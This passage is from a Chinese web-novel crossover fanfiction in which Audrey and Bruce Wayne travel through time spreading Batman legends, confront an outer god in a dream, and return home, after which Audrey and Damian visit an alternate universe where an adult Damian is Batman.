祭司立刻跪伏在地，低声祈祷。 现代，奥德莉家。 “抱歉，我们还在努力寻找线索。”斯特兰奇博士坐在餐桌边，面前摆着一杯已经微凉的茶。斗篷垂头丧气地落在他身侧。 莉莉低着头流泪，约翰紧紧揽住她，艰难地问：“已经一个月了。她会不会……” “我有信心她会回来的。她的未来不会在此时终结。”斯特兰奇博士笃定地说。 但这种预言式的安慰太过苍白，约翰哽咽着说不出更多的话，只是更用力地抱紧了莉莉。 第102章 奥德莉和布鲁斯出现在一座中世纪的欧洲城池中。黑死病正在城中蔓延…… 奥德莉和布鲁斯出现在一座中世纪的欧洲城池中。 黑死病正在城中蔓延,教会无计可施，只能靠不断审判“女巫”和“异端”来转移民众的恐惧和愤怒。 城镇中心的广场上，一位年轻女子被绑在木桩上,人们正将干柴堆在她脚下。 就在一位神父即将用火吧点燃木柴时,一道黑影自高处骤然落下,披风掠过人群引起一阵惊呼。下一秒，绳索被割断，女子跌入了奥德莉的怀中,而蝙蝠侠则以迅雷不及掩耳之势制服和神父和数名侍卫。 当夜，蝙蝠侠与奥德莉强闯城堡，用武力迫使城主学会了如何应对瘟疫：隔离病患、焚烧尸体与染疫衣物、限制集会，以及重视饮水清洁与通风。 奥德莉教医者如何识别症状,如何切断传播链,蝙蝠侠则在夜色中监督执行，击退那些企图阻挠改变的顽固势力。 数日后,城中死亡率开始明显下降。 书记官记录下那些珍贵的知识，并敬畏地记录了带来知识和救赎的人——他画下一只展翅的蝙蝠。 蝙蝠侠和奥德莉又一次消失了。 现代，奥斯本大厦。 “已经三个月了。”哈利坐在办公桌后,眼中带着血丝,似乎很久没有睡好了。“我联系了一些研习无形之术的人，他们都找不到线索。” “每次我去问斯特兰奇博士进展，他都说奥德莉会平安回来。”彼得安抚道。 “如果他真的能预见未来，为什么不告诉我们一个确切的时间？”哈利暴躁地说。 “他说那段时间的信息似乎被某种力量故意遮蔽了。他能确定的只是他在几年之后和奥德莉有过交集。”彼得说。 格温担忧地看着哈利：“你有多久没好好休息了？奥德莉回来的时候见到你这么折腾自己，一定会狠狠地批评你。” “是吗？我倒很期待那一天的到来。”哈利有点讥讽地勾起嘴角,露出一个虚假的微笑。 奥德莉和布鲁斯出现在哥谭镇。 五月花号抵达美洲大陆已经是一百多年之前的事情了,但旧世界的阴影依旧笼罩这片新大陆。宗教与权力的纷争、富人对土地的觊觎、腐败官员的嘴脸，一切都未曾改变,只是换了一个地方上演。 镇子中央的广场上，哥谭镇的治安官正*在宣判一名男人犯下了“煽动叛乱”的罪行，并将在三日后公开实施绞刑。镇民们齐聚此地，愤怒、麻木、惶恐交织在一张张脸上。 夜色中，蝙蝠侠和奥德莉悄然潜入治安官的宅邸。他们在壁炉旁的暗格中找到几本账簿，上面清晰地记录着受贿日期、非法买卖土地的细节，还有一些名字——镇上的几个地头蛇和教会代表赫然在列。 三日后，绞刑架在广场上架起。蝙蝠侠和奥德莉将账簿内容公之于众，引起人群的哗然。 就在众人犹豫是忍耐还是爆发的时候，一个身穿整洁西装的青年人站了出来。他神情坚定，目光炯炯，对着人群喊道：“你们还要沉默多久？我们不能再忍受这些压迫！我们应当选出真正代表公义的人，而不是继续让盗贼披着权力的外衣作威作福！” 他的声音穿透了人群的沉默。更多人开始呼喊。治安官的侍卫们想朝人群开枪，却被蝙蝠侠一一打倒。 青年人看向广场中央的那个身影，对方的黑色披风在风中被吹起，如同一只展翅的蝙蝠。 “很荣幸与您相识。我是查尔斯。”他激动地说，“查尔斯韦恩。” 面罩后面，蝙蝠侠猛地瞪大了双眼。他知道这个名字。 蝙蝠侠和奥德莉对视一眼，还未来得及说话，他们的身影便从广场上消失了。 现代，韦恩庄园。 哥谭的冬天总是阴沉得叫人窒息，短暂的黄昏过后，夜色便迫不及待地笼罩整座庄园。 “已经半年了。”达米安坐在客厅的沙发上，看着手中的低语之石。自从布鲁斯和奥德莉失踪的那一天起，吊坠再也没有示警过。 “父亲，奥德莉，你们到底在哪里。”他的声音很轻，几乎被壁炉里燃烧的木柴噼啪声吞没。 阿尔弗雷德沉默地送来一杯热咖啡，走到达米安身后，轻轻地拍了拍达米安的肩膀。 奥德莉和布鲁斯出现在了哥谭市。 “这里是韦恩庄园。”布鲁斯低声说。他抬起手，发现腕表的指针突然恢复了运转，像是某种冻结的时间开始重新流动。 两人站在一颗高大的橡树后，看向不远处的草坪。一个年轻男人正陪着怀孕的妻子散步，哥谭少有的阳光落在他们身上，照亮了他们带着笑容的脸庞。 “那是……托马斯和玛莎。”奥德莉认出了那两个人。 “还有年轻的、有头发的阿福。”布鲁斯轻声笑了，看着从大宅里端着银托盘走出来的阿尔弗雷德。 “你确定我们是在自己的世界、只是回到了过去吗？”奥德莉问。 “我不能确定，但这里太像了。空气的味道、花园的路径……连树都一模一样。”布鲁斯的视线依然眷恋地在父母身上流连。 “假设真是这样的话，那我们能不能留下一些线索，让阿尔弗雷德和达米安在未来看到？”奥德莉问。 “我知道一个合适的地点。”布鲁斯说。 奥德莉跟着布鲁斯来到了韦恩家族的私人墓园。布鲁斯毫不费力地找到了角落里的一块旧墓碑。 “詹姆斯韦恩？”奥德莉轻声念出墓碑上的名字。 “还记得我们在上个世界遇到的查尔斯韦恩吗？詹姆斯韦恩是他的曾祖父，靠贩卖人口和武器发了财。”瞥见奥德莉震惊的眼神，布鲁斯轻笑了一声。“是的，韦恩家的初始财富积累同样沾满了血。” 布鲁斯有点讥讽地说：“后代靠他的不光彩的财富建立了荣耀，却没人愿意提起这段历史，特意把他的墓碑安排在角落里。” “事实上，对于现在的哥谭人来说，大多数人也只记得托马斯了。而且，说实话，几乎所有老钱家族的第一桶金恐怕都经不起推敲。”奥德莉诚恳地说。 布鲁斯点点头，说：“如果我在这里埋下一段留言，阿福肯定会发现的。家里的一切都瞒不过他的眼睛。” “那这个时代的阿尔弗雷德会不会发现？”奥德莉担心道。 “在我父母去世之前，阿福很少来这里。”布鲁斯从万能腰带中取出纸笔，简单写下几句话： “阿福，奥德莉和我穿越到了过去。可能与魔法有关。我们会想办法回家。” 写完后，他将纸笔递给奥德莉。奥德莉在布鲁斯的字迹下方写道： “爸爸、妈妈、达米安，不要担心，我会平安回家的。” 布鲁斯将纸条放进一个金属小盒里，严密地封好，然后埋在墓碑侧面的土中。他小心地恢复土地原貌，动作一丝不苟。 “你确定阿尔弗雷德真的会发现这里？”奥德莉低声问。在她看来，那片土地毫无异样。 布鲁斯没有回答，只是取出蝙蝠镖，在墓碑下方悄悄刻下一只极小的蝙蝠图案。 “他会注意到的。”布鲁斯肯定地说。 现代，韦恩庄园。 阿尔弗雷德将一束鲜花放在韦恩夫妇的墓前，低下头静静站了一会儿。离开前，他习惯性地在墓园里巡视一圈。 当他走到一处角落时，脚步忽然停住了。 “这块墓碑有什么不对劲。”他低声喃喃，目光落在碑角。那里有一处极其细微的刻痕，若不是他熟知每一块墓碑，几乎不可能察觉。 阿尔弗雷德忽然意识到了什么，立刻转身，快步回屋取来一把铲子。他单膝跪在墓碑旁，小心地开始挖掘，直到铲子和金属碰撞时发出轻微的声响。 当他看到那张已经泛黄的、字迹略有褪色的字条时，他的手微微颤抖起来。 达米安正在蝙蝠洞的主控台前忙碌。暑假里，他几乎将全部时间花在了义警工作和对线索的搜寻上。 他读完阿福递来的纸条时，他几乎像一尊雕塑一样僵住了。许久，他终于缓缓呼出一口气，像是从一个长久紧绷的状态中稍微放松下来。 “所以他们确实去了过去的时间。”达米安低声说。“而且是一起。” 一年来，他第一次感觉到血液在身体中流动，带来久违的温暖。 奥德莉和布鲁斯站在偏僻的、无人打扰的墓园里，一边关注着庄园的动静，一边小声交谈。 “之前的四十八次穿越，我们每次落地后都会很快碰上某些需要帮助的人。但在这里，我完全看不出来有什么事情要做。”奥德莉困惑地说。“在这个时间段里，韦恩庄园有没有发生过什么特别的事？” “据我所知没有。”布鲁斯说。“如果有两个奇装异服的人救了我的父母，阿福不可能不知道。” “也是。阿尔弗雷德会在你第一次制造出蝙蝠制服时就告诉你：这个衣服他见过。” “除非，”布鲁斯停住了，仿佛忽然被一个念头击中。他迅速脱掉身上的战衣，然后小心地把它们埋在旁边的树根下，用树叶和泥土仔细掩盖。“这次我们才是需要被救的那一方。” 奥德莉望着布鲁斯用泥土把自己弄得脏兮兮的，长叹一口气，但还是无奈地学着他的动作，把自己伪装成一个流浪者。 “两个忽然出现在家里的流浪者……”奥德莉喃喃地说。 “流浪者父女。”布鲁斯立刻补充。 “……父女。”奥德莉重复了一遍。“就算你的父母真的天真无邪，阿尔弗雷德可不是傻瓜。” “我的父母并不是不谙世事的富家子弟，他们只是宁可帮错人，也不想错过一个真正需要帮助的人。”布鲁斯说。 “听起来和我认识的一个人很像。”奥德莉瞥了布鲁斯一眼。 第103章 正如布鲁斯所预料的，韦恩夫妇好心地收留了看起来可怜兮兮的父女俩，允…… 正如布鲁斯所预料的,韦恩夫妇好心地收留了看起来可怜兮兮的父女俩，允许他们暂时帮忙打理庄园，直到托马斯帮助“火柴马龙和他的女儿”找到合适的工作和住处。 在听到布鲁斯自我介绍的名字时,奥德莉微微瞪大了眼睛,又连忙控制住表情。 马龙是一个学识渊博、性格温和的男人,很快就与托马斯成了朋友。玛莎即将为人母，对走路时小心翼翼、仿佛随时准备接住她的奥德莉又好笑又心生喜爱，对奥德莉十分照顾。 阿尔弗雷德总是隐蔽地用锐利的目光打量这对父女,审视的意味难以掩饰。此时的他还年轻，不动声色的本事尚未炉火纯青。 奥德莉有几次想要坏心眼地告诉阿尔弗雷德“我知道你在盯着我”，但最终还是忍住了。她只是偷偷对布鲁斯说：“原来阿尔弗雷德不是生下来就五十岁的啊。” “阿福的经历可是很精彩的。而且，他以前的脾气不太好,没有把我们俩偷偷处理掉已经是他宽容大量了。”布鲁斯也压低声音回答,就好像是怕几十年后的阿福会听见一样。 韦恩夫妇慷慨地允许马龙父女自由出入家庭图书馆。布鲁斯有针对性地迅速查找他感兴趣的资料，然后示意奥德莉过来看他找到的东西。 “我们穿越过的四十八个时间点里,每一次都留下了关于‘蝙蝠侠’的传说。”他低声说。“其中一些已经被考古学家或历史学者发现并记录下来。虽然这些学者并未察觉穿越的痕迹，只是认为各地文化中对蝙蝠的崇拜源自古老的图腾信仰或是某种集体无意识的巧合。” “但你很确定，在我们穿越之前,这些传说根本不存在。”奥德莉有点不安地说。“我们终究还是改变了历史,而且留下了痕迹。” 如果说在远古时代帮助原始人不会引发太多注意，随着他们所处的时间点越来越接近现代，被记录、被记住和被后人发现的风险也随之上升。 事实上，他们曾尝试在某个时间点“什么都不做”，试图避免干预,但随之而来的是一次遥遥无期的等待——他们无法触发下一次穿越。仿佛只有当他们在那个时代激发起某种“灵感”,让人们留下对蝙蝠侠的记忆与敬仰时，他们才能离开,否则就只能在那个时代终老。 “幕后黑手到底想要什么？”奥德莉低声说，“只是希望所有人都变成蝙蝠侠的崇拜者吗？这可是比我还狂热的粉丝想法。” “也许他还真的就是这么想的。”布鲁斯平静地说。 “可这对他有什么好处呢？”奥德莉追问。 “为了达到他的目的。他在创造一个信仰，或者说，创造一个神明。”布鲁斯语气肯定地说。 “让你变成神吗？”奥德莉挑眉。 “不，是让‘蝙蝠侠’这个概念变成神。” “蝙蝠神？听起来有点奇特。”奥德莉说。但她认可了这个推论，表情也变得认真起来：“能悄无声息地将我们带走，并且让我们一次次穿越时空，在改变历史的同时却没有让世界变得面目全非，这绝不是人类能做到的事情。” 她有点泄气地趴在桌子上，声音闷闷的：“我们要如何反抗一个强大的、完全无影踪的对手？” “等待对方露出破绽。”布鲁斯沉稳地说。“我有一种预感，这是我们回家之前的最后一站了。” “希望我们回去的时候，还是离开的时间点，至少不要过去太久。”奥德莉小声嘀咕。“我爸爸妈妈一定担心极了。还有达米安，如果我们离开八十年，那他就变成一个老头子了。” “打起精神来，西维塔。”布鲁斯又一次这样喊她。 在一次次的时间穿越中，每当奥德莉像一只淋了整夜雨的小狗一样沮丧时，布鲁斯总是这样喊她，鼓励她振作起来。 “遵命，蝙蝠神大人。”奥德莉咕哝了一句，获得了布鲁斯一个不赞同的眼神之后，她立刻改口：“遵命，父亲大人。” 当天夜里，奥德莉和布鲁斯又一次在梦境中相遇。 他们再度出现在血言教团的总部，迎接他们的仍是那位红衣人。但这一次，他的神态比上次分别时更加慌乱，几乎濒临崩溃，身体微微颤抖，仿佛承受了某种极其可怖的折磨。 “教团覆没的时刻来临了。”红衣人的声音沙哑而急促。“我们的成员甘愿牺牲自己，只为了让我能与你们见最后一面，把信息传递给你们。” 奥德莉眯起眼，不确定红衣人说的是不是实话：“如果教团是现在才覆没的，为什么布鲁斯早就已经想起了关于裁定的记忆？” “因为时间并非是线性对应，而是混乱无序的。更何况，教团本身就存在于时间之外。” “可你上次说，是蝙蝠侠毁灭了你们。”奥德莉又指出矛盾之处。 “我说的是蝙蝠侠带来了毁灭。”红衣人的语速越来越快，似乎在被看不见的命运追赶一样。“不要打断我，时间不多了！” 他死死地盯着布鲁斯：“你们穿越时间的幕后操纵者，祂在注视蝙蝠侠的时候，发现了我们的存在。” “祂？” “犹格索托斯。”红衣人说出这个名字时，整个空间似乎都随之震颤。“裁定时你被带入梦境，我曾以为是因为达米安，但我错了。我现在才明白，这一切都是祂的安排。” “为什么？”奥德莉下意识地问。 “因为祂想加深你对蝙蝠侠的崇拜。”红衣人说。“祂想在你心里种下一个根深蒂固的念头——蝙蝠侠的诞生是不可抵挡的必然。” “可为什么是我？”奥德莉低声问。 “因为你是祂选中的钥匙。你的祖先曾经向外神献祭过后代，那时祂便选定了你。你从出生时起，便带有因果的模糊性，能在不影响时间线整体和历史主线的情况下打破时间线的封闭性。” 一直沉默的布鲁斯忽然开口了：“所以这次漫长的时空穿越之旅，是祂故意安排奥德莉与我同行？” “对。因为她的特殊血脉，也因为她对蝙蝠侠的敬仰。那种如同对待神明般虔诚的信念和崇拜，让她对于在历史中留下的‘蝙蝠侠’信仰印记而言，就像一个放大器。这两者缺一不可。” “如果祂成功了，‘蝙蝠侠’成为了一个历史悠久的信仰符号，接下来又会发生什么？”布鲁斯问。 “祂便可以借助这份贯穿整个时间线的信仰力量，在多元宇宙中开辟出一条黑暗命运线。迄今为止，所有宇宙的蝙蝠侠，无论战衣下面的人是谁，始终都象征着正义，即使偶尔偏离，也总是会回归正义。这就像是一条宇宙的公理。” “但是祂想要看到的是完全堕入黑暗、彻底背弃正义的蝙蝠侠。一个不再象征守护与牺牲，而是代表毁灭与疯狂的符号。”奥德莉明白了。 总有人想看英雄陨落。 忽然，教团总部的建筑开始破碎，穹顶消失了。远处的天空蠕动着，扭曲成不可名状的旋涡，一道道混乱的低语从虚空深处传来。整个梦境仿佛正在被某种意志吞噬。 红衣人的身影也开始一点点消散，如同被风吹散的影子。 奥德莉急切地问道：“你知道该怎么反抗祂吗？” “也许……唯有信仰，才能抵抗信仰。”红衣人用尽最后的力量呐喊着，但发出的声音却几乎微不可闻。“不是让人把蝙蝠侠当作神明，而是让他们永远记得，一切伟大的成就都源自凡人的力量。凡人会失败，会流血，会动摇。正因为他不是神，才更值得敬仰。” 红衣人的面容扭曲着，但在极致的痛苦中，他仍坚持说完了最后一句话：“钥匙可以打开门，也可以关上门。” 奥德莉猛地睁开眼睛。 她几乎是跳下床的，赤脚冲向门口。门刚打开，她就看见布鲁斯已经站在门口，神情凝重。 “你也做了那个梦？”奥德莉气喘吁吁地说。 “进去说。”布鲁斯走进房间，悄然将门关上。“是的，我们又进入了同一个梦境，并亲眼见证了血言教团的灭亡。” “我们可以相信他说的话吗？”奥德莉不确定地说。“这次你不是裁定者的身份了，不能说谎那一条规则不再适用。” “他说的话听起来逻辑自洽，在没有更多线索之前，我们暂时先当作真的，以此来分析下一步行动吧。” “关于他说的，让人始终记得蝙蝠侠是凡人，我们该怎么做？总不能公开你的身份。” “我们可以从历史入手。”布鲁斯说。“人类关于‘蝙蝠侠’的信仰记录将会被逐渐发现，但我们可以打破这些历史记录的权威性，信仰的纯粹性便会被削弱。” “你的意思是，给出一个看似科学的解释，让人们意识到历史上的记载纯粹是夸大其词？” “没错。设立一个专门研究历史档案的基金会，让人们认为那些‘蝙蝠信仰’记录都是被夸大甚至被刻意篡改的。我们要让人们明白，历史上所谓的蝙蝠崇拜只是人类的恐惧和希望的投射。那些传说不过是带有偏见和神秘色彩的故事，将人类自己的智慧和力量放在一个虚构的神明形象上。” 奥德莉点点头：“听起来是个不错的办法，但我们不知道什么时候才能回去做这件事。” “不必等到我们回去。”布鲁斯露出一个有点怅然的笑。“托马斯和玛莎完全有资源和影响力做这件事。” “但你要怎么说服他们？”奥德莉瞪大了眼睛。“你不会……” “我当然不会跑去说我是他们的儿子。他们也不会相信的。”布鲁斯苦笑了一下。“但我想，我对父亲的了解足够我劝说他去做这件事了。” 奥德莉很想说布鲁斯对托马斯的了解其实很有限，毕竟他们相处的时间太短，布鲁斯对父亲的印象几乎完全来自于童年。但这句实话说出来太伤人了，她只是委婉地说：“或者，也许可以从阿尔弗雷德入手。” 布鲁斯听懂了她的言下之意，他平静地接受了她的好意：“我明白。” “祝你好运。”奥德莉说，又问道：“关于钥匙可以关上门的那句话……我能做些什么呢？” “也许你可以写下我们的每一次经历，为它们编出一个看似合理的解释。”布鲁斯说。 “好的。”奥德莉应下，然后又说：“不过，我怀疑外神的计划原本也不会成功。” “为什么这么说？”布鲁斯有点惊讶。 “因为我很清楚你不是神，我对你的崇拜也不是对神明的崇拜。”奥德莉顿了顿，又补充道：“也许曾经是，但现在我已经不再那么想了。尤其是看到你在血言教团做出裁定之后。也许在外神的眼里，你做出了‘看似不合理’、‘违背人性’的伟大决定，但我只会更清楚地意识到你拥有鲜活的人性。我始终认为，即便明知选择会带来痛苦，却依然坚定前行，这并非神性的表现，而恰恰彰显了更为崇高的人性。” 第104章 奥德莉花了几天时间，写下了一系列语言简单粗暴、逻辑勉强成立但极具传…… 奥德莉花了几天时间,写下了一系列语言简单粗暴、逻辑勉强成立但极具传播性的“科学解读”手稿。她自嘲这是小报文学水平，但写得格外认真。完成初稿后，她把手稿拿给布鲁斯看,征求他的意见。 “写得很不错。”布鲁斯表扬道。“对科学一知半解的人最爱看这种揭秘故事,他们会把它们当成真相,津津乐道地传播下去。” “虽然你是在夸我，但听起来一点也不值得骄傲。”奥德莉不好意思地笑了笑，“我之所以能写出来,是因为我自己有一阵子很爱看这种东西。什么百慕大三角的飞机坟场、玛雅文明超出时代技术的水晶骷髅、第五十一区外星人，这些我都如数家珍，深信不疑。” 布鲁斯被逗笑了：“看来一切知识都有派上用场的一天。那你后来是怎么意识到这些是假的？” “彼得，我的好朋友,指出了这些故事的漏洞,还给我科普了正确的知识。如果不是他及时把我拉回正轨，我现在大概会变成一个狂热的阴谋论者吧。” “就算没有他,我想你自己也会很快醒悟的。”布鲁斯说。 奥德莉笑了一下，然后问：“你和托马斯谈过了吗？” “他答应了。”布鲁斯说。 “然后呢？”奥德莉对这个简短的回答不太满意。 “我想起曾听阿福说过，玛莎慈善基金会曾资助过一个历史研究会,设立之初成果斐然,几年后悄然结束了运营。” “这段记忆是新增加的，还是原本就存在？”奥德莉问。 “原本就有的。”布鲁斯说。“但是我记不清那个研究会发表过的文章和书籍具体是什么内容了。基金会资助过的协会和项目太多，我当时并没有仔细留意。” “好吧。看来我就是那个研究会的影子作者了。”奥德莉说。“不知道我们在这个时代还要呆多久。还有什么事情是我们必须要完成的吗？” “我们已经做了能做的一切。”布鲁斯说。“我不知道外神会以怎样的方式与我们沟通。但我想，祂也该亲自出场一次了。” “希望我的理性值够用。”奥德莉叹了口气。“即使我的血脉特殊，获得了一点祂的能力,在直面祂的本体时,我肯定也会陷入疯狂。” “也许仍然是入梦？”布鲁斯猜测道。 当晚，奥德莉带着复杂的情绪入睡。她满心希望能快点面对那场注定到来的终局,不管外神想要做什么，她都希望能快点解决，早点回家。 也许是她的希冀得到了回应，她在梦里进入了一处虚无，与某种不可名状的存在交谈了。 似乎是为了她不会掉SAN值，对方甚至还体贴地虚化出了一个人形：起初是达米安的模样，这令奥德莉感到十分别扭。察觉到她的不适应后，对方又幻化成了一个陌生老妇人的形象。 奥德莉察觉自己并非以语言与对方交谈，而是在意识里与对方交流，这也使得她没办法用委婉的话语来隐藏情绪和保持礼貌，愤怒也直接暴露了：“你为什么要利用我？为什么要针对蝙蝠侠？” “我知道血言教团那个小虫子对你说了什么。他说的只是他认知里的事实。我对你们都没有恶意。” “是吗？那你的目的是什么？不是创造出黑暗命运线吗？” “哦，关于这一点，我确实是想这么做。”老妇人毫不犹豫地承认了。 “那我们算是挫败了你的计划吗？” “是的。但你们只是我在这个世界的实验品而已，我还有许多实验对象，总有一个会成功的。”老妇人从容地说。 奥德莉能感觉到对方是真的毫不在意一次小小的失败，这令她原本的得意和胜利感立刻消散了：“你这么有信心吗？可是在其它的世界里，我并不存在。” “你太高估了你的作用。的确，其它世界里没有你的同位体，但在其它世界里自然会有其它人能代替你的角色。”老妇人很温柔地解释。 奥德莉沉默了一下，试探道：“好吧。听起来你并不生气，也不会因此而报复我们？” “报复？我甚至没有生气。你们为了反抗我而做的挣扎很有趣。而且，我知道，总有一个宇宙里我会获得我想要的结局。” “那你打算什么时候送我们回到自己的时间点？” “那取决于布鲁斯。我很喜欢看他的戏份，所以这个世界是对他的小小奖赏。什么时候他愿意离开他的爸爸妈妈了，你们自然就能回去了。” 奥德莉犹豫地问：“你是犹格索托斯吗？” “我说过了，亲爱的，不要总是相信那个小虫子的胡言乱语了。那个教团的确惹怒了犹格索托斯，并且被祂抹去了。但祂不配与我相提并论。” “那我可以知道你的名字吗？”奥德莉问。 “在这个时刻，仍然不忘了调查员的本能吗？我是扎尔克索斯。” “我没有听说过这个名字。” “当然。我很少亲自与人类打交道，只有被我选中的人才配听说我的名字。” “所以我的血脉能力来自于你吗？” “不，你承受不了我的恩赐。我只是从犹格索托斯那里剥离了一点东西。” “我们以后还会再见吗？” “恐怕不会了。你们的宇宙实验失败，对我来说便失去了意义。你在想，我一定是在骗你。我没有必要那么做，就好像你不会去骗一只蚂蚁。” 第二天清晨，奥德莉将自己的梦详细地告诉了布鲁斯。布鲁斯若有所思地点点头。 奥德莉带点歉意地说：“我只是转述，不是对你有什么质疑。别迁怒信使。” 布鲁斯笑了，说：“也许我在潜意识里确实不想离开。但我会纠正这一点的。” “你能……纠正潜意识吗？”奥德莉难以置信地问。 布鲁斯点点头：“当然。你也可以做到，只需要恰当的训练。” “其实，我们也并没有那么着急回去。”奥德莉犹豫地说。“我真的不确定祂是在奖赏你，还是在折磨你。” “如果时间的流速一致，那我们已经离开四百二十天了。”布鲁斯坚定地说。“我们必须尽快回去。” “好吧，如果你能做到的话，我当然没有异议。”奥德莉说。“至于黑暗命运线，祂似乎信心满满，认为必然会成功。” “如果让一只猴子在打字机上随机地敲击键盘，给予它无限时间，它几乎必然会打出莎士比亚全集。”布鲁斯说。“看来我们需要做好准备，防范某个邪恶世界的入侵了。” “邪恶版的你。”奥德莉想了想，甚至参考了领主超人，但还是觉得无法想象。“我想象不出来会是什么样子。” “也许是小丑那样吧。”布鲁斯说。他站在窗口，望着外面熟悉的景色，沉默了。 片刻后，布鲁斯转身，依然那么沉稳从容。他轻声说：“我想，我们该去告别了。” 奥德莉和布鲁斯的回归在两人的家里引起了小范围的轰动。 奥德莉几乎被父母和格温的眼泪淹没。达米安静静地站在一旁，目光炙热地看着她，视线几乎将她灼伤。 当两人终于独处时，奥德莉问达米安：“我不在的时候，你有没有天天想我？” 达米安说：“每一秒都在想你。” “我还期待我回来的时间点和离开时一样呢，没想到时间流速是一致的。”奥德莉红了眼眶，强忍住泪水，伸手抱住达米安。“可怜的达米安，不但未婚妻失踪了，父亲也不见了。你一定过得很辛苦。” “尽管我一直坚信你们会平安回来，但的确有一段时间非常难熬。”达米安承认了，用力地抱住奥德莉。“直到前几天阿福发现了你们留下的字条。从那一天开始，我就在等着你们随时回来。我真庆幸你不是一个人离开的。” 奥德莉简单地讲了自己和布鲁斯的经历，然后说：“虽然这是一次很糟糕的失踪，但我想我并没有太受苦。反而是你们，每一天都是煎熬。” “阿福和我经常拜访你的父母。他们很担心你，但也很坚强，从来没有放弃希望。”达米安说。 “尽管如此，他们都憔悴了很多。”奥德莉哽咽了一下，又努力平复情绪，尽量轻快地说：“你看起来好像又长高了一点。” “几厘米。”达米安轻轻弯了一下嘴角。 “看来你的夜间锻炼一点没有懈怠。”奥德莉也笑了。“哥谭没人察觉布鲁斯失踪了吧？” “我们尽力放出了许多假消息。不过你们要是再晚几年回来，我真担心瞒不下去。” “哦，我的工作！”奥德莉忽然想起自己还算是密大图书馆的编外人员呢。“阿米蒂奇教授会不会觉得我很不负责任，人间蒸发了？” “我联系过他了，放心吧。”达米安说。 “我就知道你最靠谱。”奥德莉用双手捧住达米安的脸，说：“我也每一天都在想你，我的绿眼睛。” 两人额头相抵，沉默着，只剩彼此的呼吸交融。【你现在阅读的是 】 【完结】 第105章 韦恩庄园的图书馆里，达米安从书架上取下一本本书，放在身侧的小推车上…… 韦恩庄园的图书馆里,达米安从书架上取下一本本书，放在身侧的小推车上，然后推着它们走到一张靠窗的桌子前,快速地读起来。 当听到空气中轻微的波动声时,他微微挪动椅子,让来人正好落在他的膝上，被他用一只手稳稳地搂住，另一只手仍举着一本书,视线在书页上快速移动。 “你在看什么呢？读得这么认真。”奥德莉顺势坐在达米安的腿上，调整了一个舒服的姿势，看向小推车上的书。 ——《从古代石刻到现代传说：神秘蝙蝠的千年误会》、《禁忌档案：蝙蝠崇拜的真相》…… 奥德莉恼羞成怒地抢走了达米安手上的书：“不要看了！这些都是胡说八道的。” “我觉得写得很好啊，深入浅出,引人入胜。”达米安还要再夸下去,但被奥德莉用书敲了一下头，只好乖乖闭嘴。 “好痛啊。”达米安试图装可怜,又被奥德莉敲了一下。 “难为你找出这么多本。”奥德莉好笑地说。“人在做坏事的时候总是不辞辛苦。” “也不是很难找，基金会出版的书都会送给赞助者一些。”达米安将奥德莉手中的书抽走放在一旁，抱住她的腰,将下巴搭在她的肩膀上,像一只撒娇的大猫。“你怎么忽然来找我？” “我打算去其它世界溜达一圈，宣传一下外神的阴谋诡计。虽然祂说总有一个世界会成功，但也不影响我们先把祂的计划散布出去，让其它世界的人做好准备。” “听起来是个很费力气的计划。” “是呀。我打算先从羊皮卷上有记录的世界开始，全都去过一遍之后,再去探索一*些没有被记录过的未知世界。要一起吗？” “当然。”达米安毫不犹豫地说。 晚上九点,奥德莉熟练地举行了仪式，拉着达米安的手一起出发。 他们出现在另一个世界的蝙蝠洞中,光滑的金属结构与极简的设计风格令这里看起来宛如星际战舰的控制室。 巨大的主屏幕上同时投射出无数信息，而屏幕前的那张人体工学椅恰在此时转动起来，一个身穿蝙蝠侠战衣的男人面向他们，然后站起身，静静地望着不速之客。 黑色披风安静地垂在男人身后。他的身高绝对超过了两米，体型极其健硕。韩国漫画中的双开门冰箱身材在他面前也得甘拜下风。 “这个蝙蝠洞好像比布鲁斯的先进。”奥德莉震惊地说。 “只是装修风格更华丽而已。” “这个蝙蝠侠怎么这么高大。”奥德莉继续震惊。 “这种身材，灵活性一定不足。”达米安不高兴地嘀咕。 “你这是毫无根据的诽谤。”奥德莉抗议道。 “你们是谁？”蝙蝠侠低沉的声音打断了两个幼稚家伙即将开始的斗嘴。他的语气中没有敌意，但带着隐隐的压迫感。 “我是奥德莉。这是我的未婚夫达米安，你的同位体的儿子。” 男人又仔细地打量了两人几眼，然后忽然抬手摘下了面罩：“我不确定会给我的儿子起一个和自己一样的名字。” “达……达米安？”奥德莉结结巴巴地说。眼前这张成熟的脸庞，分明就是几年后达米安可能会有的样子。“你怎么成了蝙蝠侠。布鲁斯呢？迪克呢？” 她忍不住想到最糟糕的可能。达米安立刻安慰性地握了握她的手。 “他们都活得好好的。”成熟达米安发现两人想偏了，立刻解释。“布鲁斯只是退休了。” “退休了？”奥德莉和达米安异口同声地说。 “对，他四十多岁就退休了，现在每天尽职尽责地管理韦恩集团。”成熟达米安很自然地说着，就像在谈论一件极其正常的事。 “啧，这样说来，德雷克岂不是要失业了。”达米安说。 “德雷克还在读高中，十一年级。”成熟达米安微微挑眉，然后说出更劲爆的消息。“迪克在读七年级，他离能做蝙蝠侠的年纪还远着呢。” “那陶德呢？”达米安已经意识到这里与自己的世界有颠覆性的差别。 “他在读大学。大二。” “那你平时是独自夜巡吗？布鲁斯做蝙蝠侠的时候也没有助手？”奥德莉注意到成熟达米安身上的血迹和脏污，忍不住问道。 “我曾经做过布鲁斯很长时间的助手，我的代号是蝙蝠小子。”成熟达米安摘下披风，丢在一旁的雕塑手臂上，动作潇洒自然，像一只体型巨大但极其灵活的黑豹。奥德莉看得呆了，然后被达米安轻轻捏了捏掌心。 成熟达米安瞥见了两人的互动，神色不变地继续说下去：“周末和假期的时候，提姆和杰森经常会我一起夜巡，他们的代号分别是红隼和小小海狸。迪克还没有和我夜巡过，不过他早就想好了代号，打定主意要叫自己罗宾。” “你不觉得杰森的代号和其他人风格不一致吗？不但没有翅膀，他还故意装可爱。”达米安吐槽。 “他喜欢叫什么都可以。”成熟达米安淡淡地说。“一小时后吃早饭，阿福会带你们去客厅休息。” “你为什么这么轻易就相信了我们的话，还对我们这么放心？”奥德莉不解道。“就算你不像布鲁斯那样对一切保持戒心，至少也防范我们一下吧。” 成熟达米安微微一笑，带着一切尽在掌握的沉稳：“在你们出现前一分钟，蝙蝠洞已经发出了魔法入侵的警报。如果你们被识别出怀有恶意，现在已经被我制服了。” “那如果我们忽然狂性大发呢？”奥德莉故意问。 “你可以试试。”成熟达米安又笑了一下，坐回椅子去工作了。 阿尔弗雷德适时地出现，将两位客人带到韦恩庄园的客厅。 